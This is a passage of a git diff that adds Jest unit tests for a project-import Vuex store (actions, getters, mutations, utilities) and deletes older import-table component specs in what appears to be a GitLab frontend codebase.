+ { type: SET_PAGE, payload: 0 },
+ { type: RECEIVE_REPOS_ERROR },
+ ],
+ [],
+ );
+
+ expect(createFlash).toHaveBeenCalledWith('Provider rate limit exceeded. Try again later');
+ });
+ });
+
+ describe('when filtered', () => {
+ it('fetches repos with filter applied', () => {
+ mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(200, payload);
+
+ return testAction(
+ fetchRepos,
+ null,
+ { ...localState, filter: 'filter' },
+ [
+ { type: SET_PAGE, payload: 1 },
+ { type: REQUEST_REPOS },
+ {
+ type: RECEIVE_REPOS_SUCCESS,
+ payload: convertObjectPropsToCamelCase(payload, { deep: true }),
+ },
+ ],
+ [],
+ );
+ });
+ });
+ });
+
+ describe('fetchImport', () => {
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => mock.restore());
+
+ it('commits REQUEST_IMPORT and REQUEST_IMPORT_SUCCESS mutations on a successful request', () => {
+ const importedProject = { name: 'imported/project' };
+ mock.onPost(MOCK_ENDPOINT).reply(200, importedProject);
+
+ return testAction(
+ fetchImport,
+ importRepoId,
+ localState,
+ [
+ {
+ type: REQUEST_IMPORT,
+ payload: { repoId: importRepoId, importTarget: defaultImportTarget },
+ },
+ {
+ type: RECEIVE_IMPORT_SUCCESS,
+ payload: {
+ importedProject: convertObjectPropsToCamelCase(importedProject, { deep: true }),
+ repoId: importRepoId,
+ },
+ },
+ ],
+ [],
+ );
+ });
+
+ it('commits REQUEST_IMPORT and RECEIVE_IMPORT_ERROR and shows generic error message on an unsuccessful request', async () => {
+ mock.onPost(MOCK_ENDPOINT).reply(500);
+
+ await testAction(
+ fetchImport,
+ importRepoId,
+ localState,
+ [
+ {
+ type: REQUEST_IMPORT,
+ payload: { repoId: importRepoId, importTarget: defaultImportTarget },
+ },
+ { type: RECEIVE_IMPORT_ERROR, payload: importRepoId },
+ ],
+ [],
+ );
+
+ expect(createFlash).toHaveBeenCalledWith('Importing the project failed');
+ });
+
+ it('commits REQUEST_IMPORT and RECEIVE_IMPORT_ERROR and shows detailed error message on an unsuccessful request with errors fields in response', async () => {
+ const ERROR_MESSAGE = 'dummy';
+ mock.onPost(MOCK_ENDPOINT).reply(500, { errors: ERROR_MESSAGE });
+
+ await testAction(
+ fetchImport,
+ importRepoId,
+ localState,
+ [
+ {
+ type: REQUEST_IMPORT,
+ payload: { repoId: importRepoId, importTarget: defaultImportTarget },
+ },
+ { type: RECEIVE_IMPORT_ERROR, payload: importRepoId },
+ ],
+ [],
+ );
+
+ expect(createFlash).toHaveBeenCalledWith(`Importing the project failed: ${ERROR_MESSAGE}`);
+ });
+ });
+
+ describe('fetchJobs', () => {
+ let mock;
+ const updatedProjects = [{ name: 'imported/project' }, { name: 'provider/repo' }];
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ stopJobsPolling();
+ clearJobsEtagPoll();
+ });
+
+ afterEach(() => mock.restore());
+
+ it('commits RECEIVE_JOBS_SUCCESS mutation on a successful request', async () => {
+ mock.onGet(MOCK_ENDPOINT).reply(200, updatedProjects);
+
+ await testAction(
+ fetchJobs,
+ null,
+ localState,
+ [
+ {
+ type: RECEIVE_JOBS_SUCCESS,
+ payload: convertObjectPropsToCamelCase(updatedProjects, { deep: true }),
+ },
+ ],
+ [],
+ );
+ });
+
+ describe('when filtered', () => {
+ beforeEach(() => {
+ localState.filter = 'filter';
+ });
+
+ it('fetches realtime changes with filter applied', () => {
+ mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(200, updatedProjects);
+
+ return testAction(
+ fetchJobs,
+ null,
+ localState,
+ [
+ {
+ type: RECEIVE_JOBS_SUCCESS,
+ payload: convertObjectPropsToCamelCase(updatedProjects, { deep: true }),
+ },
+ ],
+ [],
+ );
+ });
+ });
+ });
+
+ describe('fetchNamespaces', () => {
+ let mock;
+ const namespaces = [{ full_name: 'test/ns1' }, { full_name: 'test_ns2' }];
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => mock.restore());
+
+ it('commits REQUEST_NAMESPACES and RECEIVE_NAMESPACES_SUCCESS on success', async () => {
+ mock.onGet(MOCK_ENDPOINT).reply(200, namespaces);
+
+ await testAction(
+ fetchNamespaces,
+ null,
+ localState,
+ [
+ { type: REQUEST_NAMESPACES },
+ {
+ type: RECEIVE_NAMESPACES_SUCCESS,
+ payload: convertObjectPropsToCamelCase(namespaces, { deep: true }),
+ },
+ ],
+ [],
+ );
+ });
+
+ it('commits REQUEST_NAMESPACES and RECEIVE_NAMESPACES_ERROR and shows generic error message on an unsuccessful request', async () => {
+ mock.onGet(MOCK_ENDPOINT).reply(500);
+
+ await testAction(
+ fetchNamespaces,
+ null,
+ localState,
+ [{ type: REQUEST_NAMESPACES }, { type: RECEIVE_NAMESPACES_ERROR }],
+ [],
+ );
+
+ expect(createFlash).toHaveBeenCalledWith('Requesting namespaces failed');
+ });
+ });
+
+ describe('importAll', () => {
+ it('dispatches multiple fetchImport actions', async () => {
+ await testAction(
+ importAll,
+ null,
+ localState,
+ [],
+ [
+ { type: 'fetchImport', payload: importRepoId },
+ { type: 'fetchImport', payload: otherImportRepoId },
+ ],
+ );
+ });
+ });
+
+ describe('setFilter', () => {
+ it('dispatches sets the filter value and dispatches fetchRepos', async () => {
+ await testAction(
+ setFilter,
+ 'filteredRepo',
+ localState,
+ [{ type: SET_FILTER, payload: 'filteredRepo' }],
+ [{ type: 'fetchRepos' }],
+ );
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/store/getters_spec.js b/spec/frontend/import_entities/import_projects/store/getters_spec.js
new file mode 100644
index 00000000000..f0ccffc19f2
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/store/getters_spec.js
@@ -0,0 +1,135 @@
+import {
+ isLoading,
+ isImportingAnyRepo,
+ hasIncompatibleRepos,
+ hasImportableRepos,
+ importAllCount,
+ getImportTarget,
+} from '~/import_entities/import_projects/store/getters';
+import { STATUSES } from '~/import_entities/constants';
+import state from '~/import_entities/import_projects/store/state';
+
+const IMPORTED_REPO = {
+ importSource: {},
+ importedProject: { fullPath: 'some/path', importStatus: STATUSES.FINISHED },
+};
+
+const IMPORTABLE_REPO = {
+ importSource: { id: 'some-id', sanitizedName: 'sanitized' },
+ importedProject: null,
+};
+
+const INCOMPATIBLE_REPO = {
+ importSource: { incompatible: true },
+};
+
+describe('import_projects store getters', () => {
+ let localState;
+
+ beforeEach(() => {
+ localState = state();
+ });
+
+ it.each`
+ isLoadingRepos | isLoadingNamespaces | isLoadingValue
+ ${false} | ${false} | ${false}
+ ${true} | ${false} | ${true}
+ ${false} | ${true} | ${true}
+ ${true} | ${true} | ${true}
+ `(
+ 'isLoading returns $isLoadingValue when isLoadingRepos is $isLoadingRepos and isLoadingNamespaces is $isLoadingNamespaces',
+ ({ isLoadingRepos, isLoadingNamespaces, isLoadingValue }) => {
+ Object.assign(localState, {
+ isLoadingRepos,
+ isLoadingNamespaces,
+ });
+
+ expect(isLoading(localState)).toBe(isLoadingValue);
+ },
+ );
+
+ it.each`
+ importStatus | value
+ ${STATUSES.NONE} | ${false}
+ ${STATUSES.SCHEDULING} | ${true}
+ ${STATUSES.SCHEDULED} | ${true}
+ ${STATUSES.STARTED} | ${true}
+ ${STATUSES.FINISHED} | ${false}
+ `(
+ 'isImportingAnyRepo returns $value when project with $importStatus status is available',
+ ({ importStatus, value }) => {
+ localState.repositories = [{ importedProject: { importStatus } }];
+
+ expect(isImportingAnyRepo(localState)).toBe(value);
+ },
+ );
+
+ it('isImportingAnyRepo returns false when project with no defined importStatus status is available', () => {
+ localState.repositories = [{ importSource: {} }];
+
+ expect(isImportingAnyRepo(localState)).toBe(false);
+ });
+
+ describe('hasIncompatibleRepos', () => {
+ it('returns true if there are any incompatible projects', () => {
+ localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO, INCOMPATIBLE_REPO];
+
+ expect(hasIncompatibleRepos(localState)).toBe(true);
+ });
+
+ it('returns false if there are no incompatible projects', () => {
+ localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO];
+
+ expect(hasIncompatibleRepos(localState)).toBe(false);
+ });
+ });
+
+ describe('hasImportableRepos', () => {
+ it('returns true if there are any importable projects ', () => {
+ localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO, INCOMPATIBLE_REPO];
+
+ expect(hasImportableRepos(localState)).toBe(true);
+ });
+
+ it('returns false if there are no importable projects', () => {
+ localState.repositories = [IMPORTED_REPO, INCOMPATIBLE_REPO];
+
+ expect(hasImportableRepos(localState)).toBe(false);
+ });
+ });
+
+ describe('importAllCount', () => {
+ it('returns count of available importable projects ', () => {
+ localState.repositories = [
+ IMPORTABLE_REPO,
+ IMPORTABLE_REPO,
+ IMPORTED_REPO,
+ INCOMPATIBLE_REPO,
+ ];
+
+ expect(importAllCount(localState)).toBe(2);
+ });
+ });
+
+ describe('getImportTarget', () => {
+ it('returns default value if no custom target available', () => {
+ localState.defaultTargetNamespace = 'default';
+ localState.repositories = [IMPORTABLE_REPO];
+
+ expect(getImportTarget(localState)(IMPORTABLE_REPO.importSource.id)).toStrictEqual({
+ newName: IMPORTABLE_REPO.importSource.sanitizedName,
+ targetNamespace: localState.defaultTargetNamespace,
+ });
+ });
+
+ it('returns custom import target if available', () => {
+ const fakeTarget = { newName: 'something', targetNamespace: 'ns' };
+ localState.repositories = [IMPORTABLE_REPO];
+ localState.customImportTargets[IMPORTABLE_REPO.importSource.id] = fakeTarget;
+
+ expect(getImportTarget(localState)(IMPORTABLE_REPO.importSource.id)).toStrictEqual(
+ fakeTarget,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/store/mutations_spec.js b/spec/frontend/import_entities/import_projects/store/mutations_spec.js
new file mode 100644
index 00000000000..8b7ddffe6f4
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/store/mutations_spec.js
@@ -0,0 +1,319 @@
+import * as types from '~/import_entities/import_projects/store/mutation_types';
+import mutations from '~/import_entities/import_projects/store/mutations';
+import getInitialState from '~/import_entities/import_projects/store/state';
+import { STATUSES } from '~/import_entities/constants';
+
+describe('import_projects store mutations', () => {
+ let state;
+
+ const SOURCE_PROJECT = {
+ id: 1,
+ full_name: 'full/name',
+ sanitized_name: 'name',
+ provider_link: 'https://demo.link/full/name',
+ };
+ const IMPORTED_PROJECT = {
+ name: 'demo',
+ importSource: 'something',
+ providerLink: 'custom-link',
+ importStatus: 'status',
+ fullName: 'fullName',
+ };
+
+ describe(`${types.SET_FILTER}`, () => {
+ const NEW_VALUE = 'new-value';
+
+ beforeEach(() => {
+ state = {
+ filter: 'some-value',
+ repositories: ['some', ' repositories'],
+ pageInfo: { page: 1 },
+ };
+ mutations[types.SET_FILTER](state, NEW_VALUE);
+ });
+
+ it('removes current repositories list', () => {
+ expect(state.repositories.length).toBe(0);
+ });
+
+ it('resets current page to 0', () => {
+ expect(state.pageInfo.page).toBe(0);
+ });
+ });
+
+ describe(`${types.REQUEST_REPOS}`, () => {
+ it('sets repos loading flag to true', () => {
+ state = {};
+
+ mutations[types.REQUEST_REPOS](state);
+
+ expect(state.isLoadingRepos).toBe(true);
+ });
+ });
+
+ describe(`${types.RECEIVE_REPOS_SUCCESS}`, () => {
+ describe('with legacy response format', () => {
+ describe('for imported projects', () => {
+ const response = {
+ importedProjects: [IMPORTED_PROJECT],
+ providerRepos: [],
+ };
+
+ it('recreates importSource from response', () => {
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(state.repositories[0].importSource).toStrictEqual(
+ expect.objectContaining({
+ fullName: IMPORTED_PROJECT.importSource,
+ sanitizedName: IMPORTED_PROJECT.name,
+ providerLink: IMPORTED_PROJECT.providerLink,
+ }),
+ );
+ });
+
+ it('passes project to importProject', () => {
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(IMPORTED_PROJECT).toStrictEqual(
+ expect.objectContaining(state.repositories[0].importedProject),
+ );
+ });
+ });
+
+ describe('for importable projects', () => {
+ beforeEach(() => {
+ state = getInitialState();
+
+ const response = {
+ importedProjects: [],
+ providerRepos: [SOURCE_PROJECT],
+ };
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ });
+
+ it('sets importSource to project', () => {
+ expect(state.repositories[0].importSource).toBe(SOURCE_PROJECT);
+ });
+ });
+
+ describe('for incompatible projects', () => {
+ const response = {
+ importedProjects: [],
+ providerRepos: [],
+ incompatibleRepos: [SOURCE_PROJECT],
+ };
+
+ beforeEach(() => {
+ state = getInitialState();
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+ });
+
+ it('sets incompatible flag', () => {
+ expect(state.repositories[0].importSource.incompatible).toBe(true);
+ });
+
+ it('sets importSource to project', () => {
+ expect(state.repositories[0].importSource).toStrictEqual(
+ expect.objectContaining(SOURCE_PROJECT),
+ );
+ });
+ });
+
+ it('sets repos loading flag to false', () => {
+ const response = {
+ importedProjects: [],
+ providerRepos: [],
+ };
+
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(state.isLoadingRepos).toBe(false);
+ });
+ });
+
+ it('passes response as it is', () => {
+ const response = [];
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(state.repositories).toStrictEqual(response);
+ });
+
+ it('sets repos loading flag to false', () => {
+ const response = [];
+
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
+
+ expect(state.isLoadingRepos).toBe(false);
+ });
+ });
+
+ describe(`${types.RECEIVE_REPOS_ERROR}`, () => {
+ it('sets repos loading flag to false', () => {
+ state = getInitialState();
+
+ mutations[types.RECEIVE_REPOS_ERROR](state);
+
+ expect(state.isLoadingRepos).toBe(false);
+ });
+ });
+
+ describe(`${types.REQUEST_IMPORT}`, () => {
+ beforeEach(() => {
+ const REPO_ID = 1;
+ const importTarget = { targetNamespace: 'ns', newName: 'name ' };
+ state = { repositories: [{ importSource: { id: REPO_ID } }] };
+
+ mutations[types.REQUEST_IMPORT](state, { repoId: REPO_ID, importTarget });
+ });
+
+ it(`sets status to ${STATUSES.SCHEDULING}`, () => {
+ expect(state.repositories[0].importedProject.importStatus).toBe(STATUSES.SCHEDULING);
+ });
+ });
+
+ describe(`${types.RECEIVE_IMPORT_SUCCESS}`, () => {
+ beforeEach(() => {
+ const REPO_ID = 1;
+ state = { repositories: [{ importSource: { id: REPO_ID } }] };
+
+ mutations[types.RECEIVE_IMPORT_SUCCESS](state, {
+ repoId: REPO_ID,
+ importedProject: IMPORTED_PROJECT,
+ });
+ });
+
+ it('sets import status', () => {
+ expect(state.repositories[0].importedProject.importStatus).toBe(
+ IMPORTED_PROJECT.importStatus,
+ );
+ });
+
+ it('sets imported project', () => {
+ expect(IMPORTED_PROJECT).toStrictEqual(
+ expect.objectContaining(state.repositories[0].importedProject),
+ );
+ });
+ });
+
+ describe(`${types.RECEIVE_IMPORT_ERROR}`, () => {
+ beforeEach(() => {
+ const REPO_ID = 1;
+ state = { repositories: [{ importSource: { id: REPO_ID } }] };
+
+ mutations[types.RECEIVE_IMPORT_ERROR](state, REPO_ID);
+ });
+
+ it(`removes importedProject entry`, () => {
+ expect(state.repositories[0].importedProject).toBeNull();
+ });
+ });
+
+ describe(`${types.RECEIVE_JOBS_SUCCESS}`, () => {
+ it('updates import status of existing project', () => {
+ const repoId = 1;
+ state = {
+ repositories: [{ importedProject: { id: repoId }, importStatus: STATUSES.STARTED }],
+ };
+ const updatedProjects = [{ id: repoId, importStatus: STATUSES.FINISHED }];
+
+ mutations[types.RECEIVE_JOBS_SUCCESS](state, updatedProjects);
+
+ expect(state.repositories[0].importedProject.importStatus).toBe(
+ updatedProjects[0].importStatus,
+ );
+ });
+ });
+
+ describe(`${types.REQUEST_NAMESPACES}`, () => {
+ it('sets namespaces loading flag to true', () => {
+ state = {};
+
+ mutations[types.REQUEST_NAMESPACES](state);
+
+ expect(state.isLoadingNamespaces).toBe(true);
+ });
+ });
+
+ describe(`${types.RECEIVE_NAMESPACES_SUCCESS}`, () => {
+ const response = [{ fullPath: 'some/path' }];
+
+ beforeEach(() => {
+ state = {};
+ mutations[types.RECEIVE_NAMESPACES_SUCCESS](state, response);
+ });
+
+ it('stores namespaces to state', () => {
+ expect(state.namespaces).toStrictEqual(response);
+ });
+
+ it('sets namespaces loading flag to false', () => {
+ expect(state.isLoadingNamespaces).toBe(false);
+ });
+ });
+
+ describe(`${types.RECEIVE_NAMESPACES_ERROR}`, () => {
+ it('sets namespaces loading flag to false', () => {
+ state = {};
+
+ mutations[types.RECEIVE_NAMESPACES_ERROR](state);
+
+ expect(state.isLoadingNamespaces).toBe(false);
+ });
+ });
+
+ describe(`${types.SET_IMPORT_TARGET}`, () => {
+ const PROJECT = {
+ id: 2,
+ sanitizedName: 'sanitizedName',
+ };
+
+ it('stores custom target if it differs from defaults', () => {
+ state = { customImportTargets: {}, repositories: [{ importSource: PROJECT }] };
+ const importTarget = { targetNamespace: 'ns', newName: 'name ' };
+
+ mutations[types.SET_IMPORT_TARGET](state, { repoId: PROJECT.id, importTarget });
+ expect(state.customImportTargets[PROJECT.id]).toBe(importTarget);
+ });
+
+ it('removes custom target if it is equal to defaults', () => {
+ const importTarget = { targetNamespace: 'ns', newName: 'name ' };
+ state = {
+ defaultTargetNamespace: 'default',
+ customImportTargets: {
+ [PROJECT.id]: importTarget,
+ },
+ repositories: [{ importSource: PROJECT }],
+ };
+
+ mutations[types.SET_IMPORT_TARGET](state, {
+ repoId: PROJECT.id,
+ importTarget: {
+ targetNamespace: state.defaultTargetNamespace,
+ newName: PROJECT.sanitizedName,
+ },
+ });
+
+ expect(state.customImportTargets[SOURCE_PROJECT.id]).toBeUndefined();
+ });
+ });
+
+ describe(`${types.SET_PAGE}`, () => {
+ it('sets page number', () => {
+ const NEW_PAGE = 4;
+ state = { pageInfo: { page: 5 } };
+
+ mutations[types.SET_PAGE](state, NEW_PAGE);
+ expect(state.pageInfo.page).toBe(NEW_PAGE);
+ });
+ });
+});
diff --git a/spec/frontend/import_entities/import_projects/utils_spec.js b/spec/frontend/import_entities/import_projects/utils_spec.js
new file mode 100644
index 00000000000..7d9c4b7137e
--- /dev/null
+++ b/spec/frontend/import_entities/import_projects/utils_spec.js
@@ -0,0 +1,69 @@
+import {
+ isProjectImportable,
+ isIncompatible,
+ getImportStatus,
+} from '~/import_entities/import_projects/utils';
+import { STATUSES } from '~/import_entities/constants';
+
+describe('import_projects utils', () => {
+ const COMPATIBLE_PROJECT = {
+ importSource: { incompatible: false },
+ };
+
+ const INCOMPATIBLE_PROJECT = {
+ importSource: { incompatible: true },
+ importedProject: null,
+ };
+
+ describe('isProjectImportable', () => {
+ it.each`
+ status | result
+ ${STATUSES.FINISHED} | ${false}
+ ${STATUSES.FAILED} | ${false}
+ ${STATUSES.SCHEDULED} | ${false}
+ ${STATUSES.STARTED} | ${false}
+ ${STATUSES.NONE} | ${true}
+ ${STATUSES.SCHEDULING} | ${false}
+ `('returns $result when project is compatible and status is $status', ({ status, result }) => {
+ expect(
+ isProjectImportable({
+ ...COMPATIBLE_PROJECT,
+ importedProject: { importStatus: status },
+ }),
+ ).toBe(result);
+ });
+
+ it('returns true if import status is not defined', () => {
+ expect(isProjectImportable({ importSource: {} })).toBe(true);
+ });
+
+ it('returns false if project is not compatible', () => {
+ expect(isProjectImportable(INCOMPATIBLE_PROJECT)).toBe(false);
+ });
+ });
+
+ describe('isIncompatible', () => {
+ it('returns true for incompatible project', () => {
+ expect(isIncompatible(INCOMPATIBLE_PROJECT)).toBe(true);
+ });
+
+ it('returns false for compatible project', () => {
+ expect(isIncompatible(COMPATIBLE_PROJECT)).toBe(false);
+ });
+ });
+
+ describe('getImportStatus', () => {
+ it('returns actual status when project status is provided', () => {
+ expect(
+ getImportStatus({
+ ...COMPATIBLE_PROJECT,
+ importedProject: { importStatus: STATUSES.FINISHED },
+ }),
+ ).toBe(STATUSES.FINISHED);
+ });
+
+ it('returns NONE as status if import status is not provided', () => {
+ expect(getImportStatus(COMPATIBLE_PROJECT)).toBe(STATUSES.NONE);
+ });
+ });
+});
diff --git a/spec/frontend/import_projects/components/bitbucket_status_table_spec.js b/spec/frontend/import_projects/components/bitbucket_status_table_spec.js
deleted file mode 100644
index b65b388fd5f..00000000000
--- a/spec/frontend/import_projects/components/bitbucket_status_table_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { nextTick } from 'vue';
-import { shallowMount } from '@vue/test-utils';
-
-import { GlAlert } from '@gitlab/ui';
-import BitbucketStatusTable from '~/import_projects/components/bitbucket_status_table.vue';
-import ImportProjectsTable from '~/import_projects/components/import_projects_table.vue';
-
-const ImportProjectsTableStub = {
- name: 'ImportProjectsTable',
- template:
- '<div><slot name="incompatible-repos-warning"></slot><slot name="actions"></slot></div>',
-};
-
-describe('BitbucketStatusTable', () => {
- let wrapper;
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- function createComponent(propsData, importProjectsTableStub = true, slots) {
- wrapper = shallowMount(BitbucketStatusTable, {
- propsData,
- stubs: {
- ImportProjectsTable: importProjectsTableStub,
- },
- slots,
- });
- }
-
- it('renders import table component', () => {
- createComponent({ providerTitle: 'Test' });
- expect(wrapper.find(ImportProjectsTable).exists()).toBe(true);
- });
-
- it('passes alert in incompatible-repos-warning slot', () => {
- createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub);
- expect(wrapper.find(GlAlert).exists()).toBe(true);
- });
-
- it('passes actions slot to import project table component', () => {
- const actionsSlotContent = 'DEMO';
- createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub, {
- actions: actionsSlotContent,
- });
- expect(wrapper.find(ImportProjectsTable).text()).toBe(actionsSlotContent);
- });
-
- it('dismisses alert when requested', async () => {
- createComponent({ providerTitle: 'Test' }, ImportProjectsTableStub);
- wrapper.find(GlAlert).vm.$emit('dismiss');
- await nextTick();
-
- expect(wrapper.find(GlAlert).exists()).toBe(false);
- });
-});
diff --git a/spec/frontend/import_projects/components/import_projects_table_spec.js b/spec/frontend/import_projects/components/import_projects_table_spec.js
deleted file mode 100644
index 7322c7c1ae1..00000000000
--- a/spec/frontend/import_projects/components/import_projects_table_spec.js
+++ /dev/null
@@ -1,249 +0,0 @@
-import { nextTick } from 'vue';
-import Vuex from 'vuex';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlLoadingIcon, GlButton, GlIntersectionObserver } from '@gitlab/ui';
-import state from '~/import_projects/store/state';
-import * as getters from '~/import_projects/store/getters';
-import { STATUSES } from '~/import_projects/constants';
-import ImportProjectsTable from '~/import_projects/components/import_projects_table.vue';
-import ProviderRepoTableRow from '~/import_projects/components/provider_repo_table_row.vue';
-
-describe('ImportProjectsTable', () => {
- let wrapper;
-
- const findFilterField = () =>
- wrapper.find('input[data-qa-selector="githubish_import_filter_field"]');
-
- const providerTitle = 'THE PROVIDER';
- const providerRepo = {
- importSource: {
- id: 10,
- sanitizedName: 'sanitizedName',
- fullName: 'fullName',
- },
- importedProject: null,
- };
-
- const findImportAllButton = () =>
- wrapper
- .findAll(GlButton)
- .filter(w => w.props().variant === 'success')
- .at(0);
- const findImportAllModal = () => wrapper.find({ ref: 'importAllModal' });
-
- const importAllFn = jest.fn();
- const importAllModalShowFn = jest.fn();
- const fetchReposFn = jest.fn();
-
- function createComponent({
- state: initialState,
- getters: customGetters,
- slots,
- filterable,
- paginatable,
- } = {}) {
- const localVue = createLocalVue();
- localVue.use(Vuex);
-
- const store = new Vuex.Store({
- state: { ...state(), ...initialState },
- getters: {
- ...getters,
- ...customGetters,
- },
- actions: {
- fetchRepos: fetchReposFn,
- fetchJobs: jest.fn(),
- fetchNamespaces: jest.fn(),
- importAll: importAllFn,
- stopJobsPolling: jest.fn(),
- clearJobsEtagPoll: jest.fn(),
- setFilter: jest.fn(),
- },
- });
-
- wrapper = shallowMount(ImportProjectsTable, {
- localVue,
- store,
- propsData: {
- providerTitle,
- filterable,
- paginatable,
- },
- slots,
- stubs: {
- GlModal: { template: '<div>Modal!</div>', methods: { show: importAllModalShowFn } },
- },
- });
- }
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- it('renders a loading icon while repos are loading', () => {
- createComponent({ state: { isLoadingRepos: true } });
-
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- });
-
- it('renders a loading icon while namespaces are loading', () => {
- createComponent({ state: { isLoadingNamespaces: true } });
-
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
- });
-
- it('renders a table with provider repos', () => {
- const repositories = [
- { importSource: { id: 1 }, importedProject: null },
- { importSource: { id: 2 }, importedProject: { importStatus: STATUSES.FINISHED } },
- { importSource: { id: 3, incompatible: true }, importedProject: {} },
- ];
-
- createComponent({
- state: { namespaces: [{ fullPath: 'path' }], repositories },
- });
-
- expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
- expect(wrapper.find('table').exists()).toBe(true);
- expect(
- wrapper
- .findAll('th')
- .filter(w => w.text() === `From ${providerTitle}`)
- .exists(),
- ).toBe(true);
-
- expect(wrapper.findAll(ProviderRepoTableRow)).toHaveLength(repositories.length);
- });
-
- it.each`
- hasIncompatibleRepos | count | buttonText
- ${false} | ${1} | ${'Import 1 repository'}
- ${true} | ${1} | ${'Import 1 compatible repository'}
- ${false} | ${5} | ${'Import 5 repositories'}
- ${true} | ${5} | ${'Import 5 compatible repositories'}
- `(
- 'import all button has "$buttonText" text when hasIncompatibleRepos is $hasIncompatibleRepos and repos count is $count',
- ({ hasIncompatibleRepos, buttonText, count }) => {
- createComponent({
- state: {
- providerRepos: [providerRepo],
- },
- getters: {
- hasIncompatibleRepos: () => hasIncompatibleRepos,
- importAllCount: () => count,
- },
- });
-
- expect(findImportAllButton().text()).toBe(buttonText);
- },
- );
-
- it('renders an empty state if there are no repositories available', () => {
- createComponent({ state: { repositories: [] } });
-
- expect(wrapper.find(ProviderRepoTableRow).exists()).toBe(false);
- expect(wrapper.text()).toContain(`No ${providerTitle} repositories found`);
- });
-
- it('opens confirmation modal when import all button is clicked', async () => {
- createComponent({ state: { repositories: [providerRepo] } });
-
- findImportAllButton().vm.$emit('click');
- await nextTick();
-
- expect(importAllModalShowFn).toHaveBeenCalled();
- });
-
- it('triggers importAll action when modal is confirmed', async () => {
- createComponent({ state: { providerRepos: [providerRepo] } });
-
- findImportAllModal().vm.$emit('ok');
- await nextTick();
-
- expect(importAllFn).toHaveBeenCalled();
- });
-
- it('shows loading spinner when import is in progress', () => {
- createComponent({ getters: { isImportingAnyRepo: () => true } });
-
- expect(findImportAllButton().props().loading).toBe(true);
- });
-
- it('renders filtering input field by default', () => {
- createComponent();
-
- expect(findFilterField().exists()).toBe(true);
- });
-
- it('does not render filtering input field when filterable is false', () => {
- createComponent({ filterable: false });
-
- expect(findFilterField().exists()).toBe(false);
- });
-
- describe('when paginatable is set to true', () => {
- const pageInfo = { page: 1 };
-
- beforeEach(() => {
- createComponent({
- state: {
- namespaces: [{ fullPath: 'path' }],
- pageInfo,
- repositories: [
- { importSource: { id: 1 }, importedProject: null, importStatus: STATUSES.NONE },
- ],
- },
- paginatable: true,
- });
- });
-
- it('does not call fetchRepos on mount', () => {
- expect(fetchReposFn).not.toHaveBeenCalled();
- });
-
- it('renders intersection observer component', () => {
- expect(wrapper.find(GlIntersectionObserver).exists()).toBe(true);
- });
-
- it('calls fetchRepos when intersection observer appears', async () => {
- wrapper.find(GlIntersectionObserver).vm.$emit('appear');
-
- await nextTick();
-
- expect(fetchReposFn).toHaveBeenCalled();
- });
- });
-
- it('calls fetchRepos on mount', () => {
- createComponent();
-
- expect(fetchReposFn).toHaveBeenCalled();
- });
-
- it.each`
- hasIncompatibleRepos | shouldRenderSlot | action
- ${false} | ${false} | ${'does not render'}
- ${true} | ${true} | ${'render'}
- `(
- '$action incompatible-repos-warning slot if hasIncompatibleRepos is $hasIncompatibleRepos',
- ({ hasIncompatibleRepos, shouldRenderSlot }) => {
- const INCOMPATIBLE_TEXT = 'INCOMPATIBLE!';
-
- createComponent({
- getters: {
- hasIncompatibleRepos: () => hasIncompatibleRepos,
- },
-
- slots: {
- 'incompatible-repos-warning': INCOMPATIBLE_TEXT,
- },
- });
-
- expect(wrapper.text().includes(INCOMPATIBLE_TEXT)).toBe(shouldRenderSlot);
- },
- );
-});
diff --git a/spec/frontend/import_projects/components/provider_repo_table_row_spec.js b/spec/frontend/import_projects/components/provider_repo_table_row_spec.js
deleted file mode 100644
index 03e30ef610e..00000000000
--- a/spec/frontend/import_projects/components/provider_repo_table_row_spec.js
+++ /dev/null
@@ -1,169 +0,0 @@
-import { nextTick } from 'vue';
-import Vuex from 'vuex';
-import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlBadge } from '@gitlab/ui';
-import ProviderRepoTableRow from '~/import_projects/components/provider_repo_table_row.vue';
-import ImportStatus from '~/import_projects/components/import_status.vue';
-import { STATUSES } from '~/import_projects/constants';
-import Select2Select from '~/vue_shared/components/select2_select.vue';
-
-describe('ProviderRepoTableRow', () => {
- let wrapper;
- const fetchImport = jest.fn();
- const setImportTarget = jest.fn();
- const fakeImportTarget = {
- targetNamespace: 'target',
- newName: 'newName',
- };
-
- const availableNamespaces = [
- { text: 'Groups', children: [{ id: 'test', text: 'test' }] },
- { text: 'Users', children: [{ id: 'root', text: 'root' }] },
- ];
-
- function initStore(initialState) {
- const store = new Vuex.Store({
- state: initialState,
- getters: {
